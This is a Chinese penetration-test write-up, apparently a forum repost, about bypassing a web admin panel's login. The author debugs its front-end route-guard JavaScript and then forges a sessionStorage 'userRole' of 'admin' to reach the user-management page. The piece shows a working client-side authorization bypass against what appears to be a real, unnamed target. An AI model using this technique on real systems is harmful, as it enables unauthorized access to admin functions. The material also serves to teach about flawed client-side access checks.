0x00 故事的开始
0x01 开始渗透
有可能是未授权!赶紧构造一下参数,分析js后需要两个参数
0x02 开始反转
找到了js判断是否登入后台的地方
while (1)
switch (e.prev = e.next) {
case 0:
if (T.a.start(),
document.title = j(t.m eta.title),
i = O bject(P["a"])(), !i) {
e.next = 9;
sessionStorage.setItem("user", JSON.stringify({ "userRole": "admin" }))
break
}
if ("/login" !== t.path) {
e.next = 9;
break
}
o({
path: "/"
}),
T.a.done(),
e.next = 28;
break;
case 9:
if (r = p["a"].getters.name, !r) {
e.next = 15;
break
}
s = JSON.parse(sessionStorage.getItem("user")),
"admin" == s.userRole && "/bg_userManage" !== t.path ? (O bject(a["Message"])({
message: "只有用户管理的权限",
type: "warning",
duration: 5e3
}),
o({
path: "/bg_userManage"
}),
T.a.done()) : "audit" == s.userRole && "/bg_logManage" !== t.path ? (O bject(a["Message"])({
message: "只有日志管理的权限",
type: "warning",
duration: 5e3
}),
o({
path: "/bg_logManage"
}),
T.a.done()) : "user" != s.userRole || "/bg_logManage" !== t.path && "/bg_userManage" !== t.path ? (o(),
T.a.done()) : (o({
path: "/404"
}),
T.a.done()),
e.next = 28;
break;
case 15:
return e.prev = 15,
e.next = 18,
p["a"].dispatch("user/getInfo");
case 18:
o(),
e.next = 28;
break;
case 21:
return e.prev = 21,
e.t0 = e["catch"](15),
e.next = 25,
p["a"].dispatch("user/resetToken");
case 25:
a["Message"].error(e.t0 || "Has Error"),
o("/login?redirect=".concat(t.path)),
T.a.done();
case 28:
e.next = 31;
break;
case 30:
-1 !== z.indexOf(t.path) ? (T.a.done(),
o()) : (-1 !== n.path.indexOf("/non_visitor") ? o("/dashboard") : o(n.path),
p["a"].commit("user/SET_LOGINWINDOWSTATE"),
T.a.done());
case 31:
case "end":
return e.stop()
}
使用f12断点进行Dbug调试
发现是走到了0
然后赋值了30,因为是while (1)所以跳到了30后面就直接结束了
注意到了9,感觉就是后台页面,我们只需要想办法进到9里面就可以了
尝试重新调试,只需要在他赋值30的完事后在重新赋值覆盖掉他的值
然后不就会跳转到9了?确实,成功跳到了9
第一个if没有进,不管他看下面的s.userRole,而s又等于JSON.parse(sessionStorage.getItem("user"))
直接在这个地方赋值s.userRole="admin"发现报错,请求了龙哥
0x03 白热化阶段
sessionStorage.setItem("user",JSON.stringify({"userRole":"admin"}))
他这里先构造一个userRole=admin的json然后在进行写入本地的sessionStorage?
前面搞定了只需要把path路径改为bg_userManage就可以查看了
结果真的可以修改,登入后的页面就不展示了,全是水印根本码不过来
0x04 推荐
0x05 结尾
文章来源:奇安信攻防社区(yier)
原文地址:https://forum.butian.net/share/198
排版:潇湘信安
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
多一个点在看多一条小鱼干